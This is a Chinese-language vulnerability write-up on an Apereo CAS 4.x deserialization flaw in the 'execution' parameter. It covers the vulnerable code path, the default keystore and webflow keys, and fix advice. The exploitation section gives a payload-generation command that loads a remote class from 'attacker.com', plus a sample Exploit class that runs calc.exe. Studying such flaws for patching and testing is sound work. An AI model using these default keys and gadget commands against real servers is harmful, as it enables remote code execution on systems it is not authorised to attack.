Apereo CAS 4.X execution参数反序列化漏洞分析
字数 1554 2025-08-26 22:11:51
Apereo CAS 4.X execution参数反序列化漏洞分析
漏洞概述
Apereo CAS 4.X版本中存在一个通过execution参数的反序列化漏洞,攻击者可以通过构造恶意的序列化数据,在目标服务器上执行任意代码。该漏洞影响范围包括:
- Apereo CAS 4.1.X ~ 4.1.6
- Apereo CAS 4.1.7 ~ 4.2.X
漏洞分析
漏洞触发流程
-
请求处理入口:在
cas-servlet.xml配置文件中,FlowExecutorImpl负责处理execution参数。 -
执行流程:
FlowExecutorImpl.resumeExecution()方法接收execution参数- 调用
executionRepository.getFlowExecution(key)获取流程执行状态 - 在
ClientFlowExecutionRepository.getFlowExecution()中,获取编码数据 - 通过
EncryptedTranscoder.decode()方法解密并反序列化数据
-
关键反序列化点:
// EncryptedTranscoder.decode() Object var5; try { if (this.compression) { in = new ObjectInputStream(new GZIPInputStream(inBuffer)); } else { in = new ObjectInputStream(inBuffer); } var5 = in.readObject(); // 漏洞触发点 }
不同版本的加密机制差异
4.1.X ~ 4.1.6版本
加密流程在EncryptedTranscoder类中实现:
- 使用AES/CBC/PKCS7加密算法
- 密钥存储在
/etc/keystore.jceks文件中 - 默认密钥信息:
- Key alias:
aes128 - Key password:
changeit - Keystore password:
changeit
- Key alias:
加密过程:
- 序列化对象
- 使用AES加密
- 进行Base64编码
4.1.7 ~ 4.2.X版本
加密流程有所变化:
- 使用
CasWebflowCipherBean进行解密 - 加密密钥通过配置文件指定:
webflow.encryption.key=C4SBogp_badO82wC webflow.signing.key=8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ - 使用
BinaryCipherExecutor进行实际的加密/解密操作
漏洞利用
4.1.X ~ 4.1.6版本利用
-
生成payload:
- 使用
EncryptedTranscoder.encode()方法加密恶意序列化数据 - 对加密结果进行Base64编码
- 使用
-
利用步骤:
- 从
spring-webflow-client-repo-1.0.0.jar中提取/etc/keystore.jceks - 使用默认密钥信息加密恶意对象
- 构造包含恶意execution参数的请求
- 从
4.1.7 ~ 4.2.X版本利用
-
生成payload:
- 需要使用特定的加密工具(如apereocas42.jar)
- 命令格式:
java -jar apereocas42.jar <encryption.key> <signing.key> <gadget> <payload> 示例: java -jar apereocas42.jar C4SBogp_badO82wC 8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ C3P0 http://attacker.com/Exploit
-
利用c3p0 gadget:
- 依赖中存在c3p0库,可利用其进行远程类加载
- 需要准备恶意类文件托管在攻击者服务器上
-
恶意类示例:
public class Exploit { public Exploit(){ try { java.lang.Runtime.getRuntime().exec( new String[]{"cmd.exe","/C","calc.exe"} ); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
复现步骤
4.1.5版本复现
- 搭建Apereo CAS 4.1.5环境
- 构造恶意序列化数据
- 使用默认密钥加密数据
- 发送包含恶意execution参数的请求
4.2.7版本复现
- 使用cas-overlay-template-4.2搭建环境
- 修改
cas.properties配置:- 启用HTTP支持
- 设置webflow密钥:
webflow.encryption.key=C4SBogp_badO82wC webflow.signing.key=8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ
- 使用apereocas42.jar生成加密的execution参数
- 准备恶意类文件并托管在服务器上
- 发送恶意请求触发漏洞
修复建议
- 升级到不受影响的版本
- 如果无法立即升级,可考虑:
- 修改默认加密密钥
- 实施输入验证
- 限制反序列化的类
参考链接
总结
该漏洞通过CAS的execution参数实现反序列化攻击,不同版本的加密机制有所差异,但核心问题都在于对用户输入的反序列化操作缺乏足够的安全防护。攻击者可以利用此漏洞在目标服务器上执行任意代码,危害严重。